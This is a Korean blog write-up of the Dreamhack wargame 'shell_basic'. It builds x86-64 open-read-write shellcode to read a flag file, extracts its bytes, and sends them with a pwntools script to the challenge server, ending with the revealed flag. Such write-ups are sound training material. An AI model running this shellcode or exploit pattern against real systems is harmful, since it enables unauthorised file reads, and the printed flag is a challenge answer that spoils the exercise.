미역줄기의 이모저모

[ Dreamhack ] shell_basic 본문

Hacking/Dremahack 문제풀이

[ Dreamhack ] shell_basic

미역줄기줄기 2024. 2. 7. 20:20
728x90

1, 문제 확인

 

참고 코드

$ cat write.asm
section .text
global _start
_start:
    ;/* write(fd=1, buf='hello', n=48) */
    ;/* push 'hello\x00' */
    mov rax, 0x0a6f6c6c6568
    push rax
    mov rsi, rsp
    push 1
    pop rdi
    push 0x6
    pop rdx
    ;/* call write() */
    push 1
    pop rax
    syscall
$ nasm -f elf64 write.asm
$ objcopy --dump-section .text=write.bin write.o
$ xxd write.bin
00000000: 48b8 6865 6c6c 6f0a 0000 5048 89e6 6a01  H.hello...PH..j.
00000010: 5f6a 065a 6a01 580f 05                   _j.Zj.X..
$ cat write.bin | ./shell_basic
shellcode: hello
[1]    1592460 done                cat write.bin |
       1592461 segmentation fault  ./shell_basic
$

 

난 참고 코드를 열심히 참고했다. 우선 문제에서 execve 시스템 콜을 하지 못하게 막았으므로 orw셸코드 작성을 한다.

 

flag 파일의 위치와 이름은 /home/shell_basic/flag_name_is_loooooong 라고 했으니 이걸 우선 16진수로 바꾼다.(셸 코드에 맞게? 참고 코드를 보면 mov rax, 0x0a6f6c6c6568 이부분!

 

그러니까, mov rax, /home/shell_basic/flag_name_is_loooooong 이렇게 되게 말이다.

 

우선 16진수로 바꾸면 2f686f6d652f7368656c6c5f62617369632f666c61675f6e616d655f69735f6c6f6f6f6f6f6f6e67 이렇게 된다. 너무 길어서 한 번에 못쓴다. 16바이트씩 리틀앤디안으로 쪼개서 mov하고 push 해야한다.

 

참고 코드를 보면 write.asm코드를 짰다.

 

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "push 0x0\n"
    "mov rax, 0x676e6f6f6f6f6f6f\n"
    "push rax\n"
	"mov rax, 0x6c5f73695f656d61\n"
    "push rax\n"
	"mov rax, 0x6e5f67616c662f63\n"
    "push rax\n"
	"mov rax, 0x697361625f6c6c65\n"
    "push rax\n"
	"mov rax, 0x68732f656d6f682f\n"
    "push rax\n"

    "mov rdi, rsp # rdi = '/home/shell_basic/flag_name_is_loooooong'\n"
    "xor rsi, rsi    # rsi = 0 ; RD_ONLY\n"
    "xor rdx, rdx    # rdx = 0\n"
    "mov rax, 2      # rax = 2 ; syscall_open\n"
    "syscall         # open('/tmp/flag', RD_ONLY, NULL)\n"

    "mov rdi, rax      # rdi = fd\n"
    "mov rsi, rsp\n"
    "sub rsi, 0x30     # rsi = rsp-0x30 ; buf\n"
    "mov rdx, 0x30     # rdx = 0x30     ; len\n"
    "mov rax, 0x0      # rax = 0        ; syscall_read\n"
    "syscall           # read(fd, buf, 0x30)\n"

    "mov rdi, 1        # rdi = 1 ; fd = stdout\n"
    "mov rax, 0x1      # rax = 1 ; syscall_write\n"
    "syscall           # write(fd, buf, 0x30)\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c   # rax = sys_exit\n"
    "syscall   # exit(1)");

void run_sh();

int main() { run_sh(); }

 

컴파일 한다.

 

여기서 orw가 실행되는 부분은 run_sh()함수 이기 때문에 run_sh()에서 셸코드를 추출한다.

 

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05

셸코드가 굉장히 길다)

 

이걸 pwntools를 사용해서 넘겨야한다.

 

from pwn import *

context.arch = "amd64"
p = remote("host1.dreamhack.games", 22901)

shellcode = b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05\x48\x31\xff\x48\xc7\xc0\x3c\x00\x00\x00\x0f\x05"
p.sendlineafter('shellcode: ', shellcode)
print(p.recv())

 

컴파일 하면

 

 

flag: DH{ca562d7cf1db6c55cb11c4ec350a3c0b}\n\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00

 

'Hacking > Dremahack 문제풀이' 카테고리의 다른 글

[ Dreamhack ] basic_rop_x64  (0) 2024.02.16
[ Dreamhack ] rop  (2) 2024.02.11
[ Dreamhack ] Return to Library  (1) 2024.02.09
[ Dreamhack ] ssp_01  (0) 2024.02.08
[ Dreamhack ] Return to Shellcode  (2) 2024.02.08